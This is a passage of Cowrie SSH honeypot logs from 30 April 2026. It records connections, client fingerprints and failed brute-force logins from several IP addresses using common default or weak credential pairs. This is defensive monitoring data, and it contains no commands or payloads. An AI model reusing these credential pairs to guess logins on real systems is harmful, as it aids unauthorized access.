af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:34:03.541851Z","src_ip":"107.150.103.210","session":"49fbabc11e58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe!!!","message":"login attempt [ubuntu/123qwe!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:34:03.863112Z","src_ip":"107.150.103.210","session":"49fbabc11e58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:34:04.938184Z","src_ip":"107.150.103.210","session":"49fbabc11e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":54652,"dst_ip":"10.17.0.5","dst_port":22,"session":"268ec9bb6114","protocol":"ssh","message":"New connection: 103.4.145.50:54652 (10.17.0.5:22) [session: 268ec9bb6114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:34:45.576882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:34:45.581394Z","src_ip":"103.4.145.50","session":"268ec9bb6114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:34:45.842505Z","src_ip":"103.4.145.50","session":"268ec9bb6114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"toor","message":"login attempt [ali/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:34:46.907962Z","src_ip":"103.4.145.50","session":"268ec9bb6114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:34:48.176916Z","src_ip":"103.4.145.50","session":"268ec9bb6114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":36352,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e2fe66e0c8e","protocol":"ssh","message":"New connection: 96.70.252.227:36352 (159.203.135.109:22) [session: 2e2fe66e0c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:08.915139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:08.921881Z","src_ip":"96.70.252.227","session":"2e2fe66e0c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:08.957938Z","src_ip":"96.70.252.227","session":"2e2fe66e0c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jadmin","password":"jadmin","message":"login attempt [jadmin/jadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:09.422565Z","src_ip":"96.70.252.227","session":"2e2fe66e0c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":38581,"dst_ip":"159.203.135.109","dst_port":22,"session":"29917480b9ce","protocol":"ssh","message":"New connection: 124.7.227.98:38581 (159.203.135.109:22) [session: 29917480b9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:09.507634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:09.513847Z","src_ip":"124.7.227.98","session":"29917480b9ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:09.733871Z","src_ip":"124.7.227.98","session":"29917480b9ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWE!@#123","message":"login attempt [root/QWE!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:10.644741Z","src_ip":"124.7.227.98","session":"29917480b9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:10.768794Z","src_ip":"96.70.252.227","session":"2e2fe66e0c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:11.866982Z","src_ip":"124.7.227.98","session":"29917480b9ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":8898,"dst_ip":"10.17.0.5","dst_port":22,"session":"95016fc5c810","protocol":"ssh","message":"New connection: 107.150.103.210:8898 (10.17.0.5:22) [session: 95016fc5c810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:14.164827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:14.169875Z","src_ip":"107.150.103.210","session":"95016fc5c810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:14.239764Z","src_ip":"107.150.103.210","session":"95016fc5c810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:14.551401Z","src_ip":"107.150.103.210","session":"95016fc5c810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:15.625400Z","src_ip":"107.150.103.210","session":"95016fc5c810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":43418,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f5ef88498e4","protocol":"ssh","message":"New connection: 103.4.145.50:43418 (10.17.0.5:22) [session: 1f5ef88498e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:44.660446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:44.665395Z","src_ip":"103.4.145.50","session":"1f5ef88498e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:44.942664Z","src_ip":"103.4.145.50","session":"1f5ef88498e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ1qaz","message":"login attempt [ubuntu/!QAZ1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:46.059634Z","src_ip":"103.4.145.50","session":"1f5ef88498e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:35:47.336802Z","src_ip":"103.4.145.50","session":"1f5ef88498e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":35010,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ce31364eb48","protocol":"ssh","message":"New connection: 107.150.103.210:35010 (10.17.0.5:22) [session: 7ce31364eb48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:36:32.778261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:36:32.783117Z","src_ip":"107.150.103.210","session":"7ce31364eb48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:36:32.854359Z","src_ip":"107.150.103.210","session":"7ce31364eb48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234512345","message":"login attempt [ubuntu/1234512345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:36:33.168098Z","src_ip":"107.150.103.210","session":"7ce31364eb48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:36:34.242204Z","src_ip":"107.150.103.210","session":"7ce31364eb48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":60416,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a7d7ff7e50f","protocol":"ssh","message":"New connection: 103.4.145.50:60416 (10.17.0.5:22) [session: 1a7d7ff7e50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:36:43.495946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:36:43.500872Z","src_ip":"103.4.145.50","session":"1a7d7ff7e50f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:36:43.768953Z","src_ip":"103.4.145.50","session":"1a7d7ff7e50f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"swordfish","message":"login attempt [ftpuser/swordfish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:36:44.877856Z","src_ip":"103.4.145.50","session":"1a7d7ff7e50f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:36:46.154221Z","src_ip":"103.4.145.50","session":"1a7d7ff7e50f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":51814,"dst_ip":"159.203.135.109","dst_port":22,"session":"e48a0a53137c","protocol":"ssh","message":"New connection: 124.7.227.98:51814 (159.203.135.109:22) [session: e48a0a53137c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:34.787012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:34.792120Z","src_ip":"124.7.227.98","session":"e48a0a53137c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:35.027562Z","src_ip":"124.7.227.98","session":"e48a0a53137c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"admin123","message":"login attempt [jenkins/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:35.929145Z","src_ip":"124.7.227.98","session":"e48a0a53137c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:37.150178Z","src_ip":"124.7.227.98","session":"e48a0a53137c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":49182,"dst_ip":"10.17.0.5","dst_port":22,"session":"8529785ce19d","protocol":"ssh","message":"New connection: 103.4.145.50:49182 (10.17.0.5:22) [session: 8529785ce19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:39.780055Z"}
